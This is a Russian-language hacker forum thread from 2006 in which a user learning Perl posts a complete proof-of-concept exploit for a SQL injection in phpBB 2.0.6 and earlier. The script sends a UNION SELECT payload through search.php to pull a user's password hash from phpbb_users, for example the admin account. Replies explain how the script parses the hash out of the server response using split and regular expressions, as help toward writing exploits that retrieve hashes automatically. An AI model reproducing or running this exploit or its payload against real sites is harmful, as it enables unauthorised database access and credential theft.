Сплоит

Discussion in 'PHP' started by LoFFi, 3 Sep 2006.

  1. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Помогите с написанием сплоита. Так сказать изучаю перл. Но проблемма в том что не могу написать сплоит чтоб он работал по человечески, типа запустил, он все сам сделал и дал тебе хеш. Просто получается что хеш выдается в код страничке при запросе который делает сплоит. И как же тогда достать именно хеш среди html? парсить страницу? Ну вобщем помогите хоть как нибудь. Буду очень признателен за хоть какой-нибудь пример.

    Вот пример чужого сплоита:
    Code:
    #!/usr/bin/perl -w
    use IO::Socket;
    
    
    ##    PROOF-OF-CONCEPT
    ##    * работает только с mysql v>4.0
    ##    * работает только если на форуме не удалено самое первое сообщение
    ##
    ##    Example:
    ##    C:\>r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2
    ##    [~] prepare to connect...
    ##    [+] connected
    ##    [~] prepare to send data...
    ##    [+] OK
    ##    [~] wait for response...
    ##    [+] MD5 Hash for user with id=2 is: 5f4dcc3b5aa765d61d8327deb882cf99
    ##
    
    
    if (@ARGV < 4)
    {
    print "\n\n";
    print "|****************************************************************|\n";
    print " r57phpbb.pl\n";
    print " phpBB v<=2.06 search_id sql injection exploit (POC version)\n";
    print " by RusH security team // www.rsteam.ru , http://rst.void.ru\n";
    print " coded by f3sy1 & 1dt.w0lf // 16/12/2003\n";
    print " Usage: r57phpbb-poc.pl <server> <folder> <user_id> <search_id>\n";
    print " e.g.: r57phpbb-poc.pl 127.0.0.1 phpBB2 2 2\n";
    print " [~] <server> - server ip\n";
    print " [~] <folder> - forum folder\n";
    print " [~] <user_id> - user id (2 default for phpBB admin)\n";
    print " [~] <search_id> - play with this value for results\n";
    print "|****************************************************************|\n";
    print "\n\n";
    exit(1);
    }
    
    $success = 0;
    $server = $ARGV[0];
    $folder = $ARGV[1];
    $user_id = $ARGV[2];
    $search_id = $ARGV[3];
    print "[~] prepare to connect...\n";
    $socket = IO::Socket::INET->new(
    Proto => "tcp",
    PeerAddr => "$server",
    PeerPort => "80") || die "$socket error $!";
    print "[+] connected\n";
    print "[~] prepare to send data...\n";
    # PROOF-OF-CONCEPT reguest...
    print $socket "GET /$folder/search.php?search_id=$search_id%20union%20select%20concat(char(97,58,55,58,123,115,58,49,52,58,34,115,101,97,114,99,104,95,114,101,115,117,108,116,115,34,59,115,58,49,58,34,49,34,59,115,58,49,55,58,34,116,111,116,97,108,95,109,97,116,99,104,95,99,111,117,110,116,34,59,105,58,53,59,115,58,49,50,58,34,115,112,108,105,116,95,115,101,97,114,99,104,34,59,97,58,49,58,123,105,58,48,59,115,58,51,50,58,34),user_password,char(34,59,125,115,58,55,58,34,115,111,114,116,95,98,121,34,59,105,58,48,59,115,58,56,58,34,115,111,114,116,95,100,105,114,34,59,115,58,52,58,34,68,69,83,67,34,59,115,58,49,50,58,34,115,104,111,119,95,114,101,115,117,108,116,115,34,59,115,58,54,58,34,116,111,112,105,99,115,34,59,115,58,49,50,58,34,114,101,116,117,114,110,95,99,104,97,114,115,34,59,105,58,50,48,48,59,125))%20from%20phpbb_users%20where%20user_id=$user_id/* HTTP/1.0\r\n\r\n";
    print "[+] OK\n";
    print "[~] wait for response...\n";
    while ($answer = <$socket>)
    {
    if ($answer =~ /;highlight=/)
    {
    $success = 1;
    @result=split(/;/,$answer);
    @result2=split(/=/,$result[1]);
    $result2[1]=~s/&/ /g;
    print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";
    }
    }
    if ($success==0) {print "[-] exploit failed =(\n";}
    
    ## o---[ RusH security team | www.rsteam.ru | 2003 ]---o
    Непонятны в нем именно такие строки:
    Code:
    if ($answer =~ /;highlight=/)
    {
    $success = 1;
    @result=split(/;/,$answer);
    @result2=split(/=/,$result[1]);
    $result2[1]=~s/&/ /g;
    print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n";

    ----------------------------------
    Короче сам вопрос - как оно находит сам хеш? =)
     
  2. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Лучьше юзай регулярные выражения, ими почьти всё можно найти, пример:
    Code:
    [color=#00AA00][color=#00FF00]while[/COLOR][color=#0000FF]([/COLOR]$text~[color=#0000FF]=/[[/COLOR]0[color=#0000FF]-[/COLOR]9A[color=#0000FF]-[/COLOR]F[color=#0000FF]][/COLOR][color=#FF0000]{[/COLOR][color=#00FF00]32[/COLOR][color=#FF0000]}[/COLOR][color=#0000FF]/[/COLOR]gi[color=#0000FF])[/COLOR][color=#FF0000]{[/COLOR]
      [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$0[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000];
    }[/COLOR][/COLOR]
    Так можно найти все хэши, в тексте $text
    ----------
    i - не учитывать гегистр
     
    #2 hidden, 3 Sep 2006
    Last edited: 3 Sep 2006
    1 person likes this.
  3. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    ага. спс . то есть я типа задаю range. ок. а линка на статейку нет?
     
  4. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Линка не знаю, поищи, так и пиши "Регулярные выражения".
    А вообще, посмотри эти, они очень похожи
    http://www.php.net/manual/ru/reference.pcre.pattern.syntax.php
     
  5. k1b0rg

    k1b0rg Тут может быть ваша реклама.

    Joined:
    30 Jul 2005
    Messages:
    1,182
    Likes Received:
    399
    Reputations:
    479
    $text~=/[0-9A-F]{32}/gi
    так будет правильней
     
  6. Digimortal

    Digimortal Banned

    Joined:
    22 Aug 2006
    Messages:
    471
    Likes Received:
    248
    Reputations:
    189
    Регулярные выражение это, конечно, очень удобно, но часто возникают ситуации, когда удобней использовать split, чтобы выцепить из переменной, содержащей ответ сервера определенные данные. Например, на днях я писал скрипт который вынимает мейлы из html-страниц, причем не все в подряд а расположенные в определенном месте. В таких ситуациях, когда знаешь формат текста из которого надо извлечь определенные данные, split очень удобен.

    Чтоб стало ясно, прокоментирую непонятный topicstarter'у фрагмент:

    Code:
    if ($answer =~ /;highlight=/) #здесь переменная $answer проверяется на присутствие текста ";highlight=" в ней, и если он есть, то
    {
    $success = 1; #эксплуатация считается удавшейся
    # не стал узнавать чо там возвращает эксплоит, пусть что-нить подобное:
    # lala=tralala;highlight=&&D41D8CD98F00B204E9800998ECF8427E;lalalalala;lalala;etc
    # из всего этого надо извлечь хеш
    @result=split(/;/,$answer); #здесь мы делим значение $answer по символу ";" и заносим каждое из этих разделенных значений в массив @result. Теперь в элементе массива $result[1] содержится "highlight=&&D41D8CD98F00B204E9800998ECF8427E"
    @result2=split(/=/,$result[1]); # теперь $result2[1]=&&D41D8CD98F00B204E9800998ECF8427E
    $result2[1]=~s/&/ /g; # заменяем символы & на пробелы
    print "[+] MD5 Hash for user with id=$user_id is: $result2[1]\n"; # без комментариев...
    В общем, тут все очень просто.
    В случае с данным сплоитом, возможно, применить рег. выражения было бы разумней...
     
    #6 Digimortal, 8 Sep 2006
    Last edited: 8 Sep 2006
    3 people like this.
  7. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Огромное спасибо Digimortal. Ты оч помог. Держи +
     
  8. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288
    что тут сложного сохрани ответ серва в переменную а потом по маске 32 символа подряд (я думаю их там мало тааких может встретиться) или нада позырить по ответу после чего идет хеш и выдрать его сплитом или выдрать его с помошью поиска даже или на крайняк субстрактом
    вырезаем букавки
    $stroka="syka pisia pyk"
    $zz=substr($stroka,0,4) # 'syka'
    $zz=substr($stroka,5,5) # 'pisia'
    $zz=substr($stroka,-3) # 'pyk'


    также мона и 32 символа выдрать--- ламерский вопрос помоему
     
  9. LoFFi

    LoFFi Elder - Старейшина

    Joined:
    21 Feb 2006
    Messages:
    194
    Likes Received:
    90
    Reputations:
    85
    Слышь ты, следи за базаром, кто ламер вобще. Никто не может знать все, и если я спрашиваю - я хочу узнать ответ а не почитать ту бредятину что ты написал. Оч интерестно как это субстрингом парcить страницу на наличие хеша. Не объяснишь? эт что то новенькое. И как это "по маске 32 символа подряд (я думаю их там мало тааких может встретиться)" ? ты вобще видел когда нить сурс html файла? там что пробелы между тэгами и текстом/хешем? Ну ну
     
    #9 LoFFi, 9 Sep 2006
    Last edited: 9 Sep 2006
  10. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    $0 - спец. переменная в которой хранится название запускаемого скрипта. Тебе нужна $1 - спец. переменная в которой хранится первое совпадение в последнем сравнении. Также можно юзать $1..9
    соответственно.
    PS: про модификатор i уже сказали, а мод. g (global) - заставляет парсер искать все совпадения в данном тексте.
    т.е.:
    Code:
    my @hashes=$html=~/[0-9A-F]{32}/ig; # ВСЁ что попадет под данную маску будет помещено в список hashes
    
    C:\>perl -e "$text='test';if($text~=/test/) { print 'OK' }"
    syntax error at -e line 1, near "$text~"
    Execution of -e aborted due to compilation errors.

    C:\>perl -e "$text='test';if($text=~/test/) { print 'OK' }"
    OK
    C:\>
     
    #10 KSURi, 9 Sep 2006
    Last edited: 9 Sep 2006
    2 people like this.
  11. hidden

    hidden 7H3 0N3

    Joined:
    23 Apr 2006
    Messages:
    550
    Likes Received:
    332
    Reputations:
    386
    Кто не ошибается, темболее в программках на скорую руку. ;) Думаю понятно с чем я это перепутал
    Молодец, конструктивная критика, держи +
    Code:
    [color=#00AA00][color=#00FF00]while[/COLOR][color=#0000FF]([/COLOR]$text[color=#0000FF]=[/COLOR]~[color=#0000FF]/([[/COLOR]0[color=#0000FF]-[/COLOR]9A[color=#0000FF]-[/COLOR]F[color=#0000FF]][/COLOR][color=#FF0000]{[/COLOR][color=#00FF00]32[/COLOR][color=#FF0000]}[/COLOR][color=#0000FF])/[/COLOR]gi[color=#0000FF])[/COLOR][color=#FF0000]{[/COLOR]
      [color=#00FF00]print[/COLOR] [/COLOR][color=#FFFF00]"[color=#00AA00]$1[/COLOR][color=#FFFFFF]\n[/COLOR]"[/COLOR][color=#00AA00][color=#FF0000];[/COLOR]
    [color=#FF0000]}[/COLOR][/COLOR]
     
  12. genom--

    genom-- Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    668
    Likes Received:
    416
    Reputations:
    288

    мда-- делаешь так ищешь 32 символаидуших подряд по маске-- код у тебя уже есть -- при поске найденное помещается в спец переменные -- об этом написано в любом учебнике

    способ нумер два -- я так думаю что хэш возвращается после чего либо например $hesh=9cdfb439c7876e703e307864c9167a15 - дык вот есть такая функция pos она возвращает номер позиции с котрой начинается то что ты ищешь получаешь номер позиции с которой начинается наш хеш и вырезаешь 32 символа --

    и нефиг ругаться лучше бы почитал в учебнике любом по перлу функции работы со строками -- вот
     
    1 person likes this.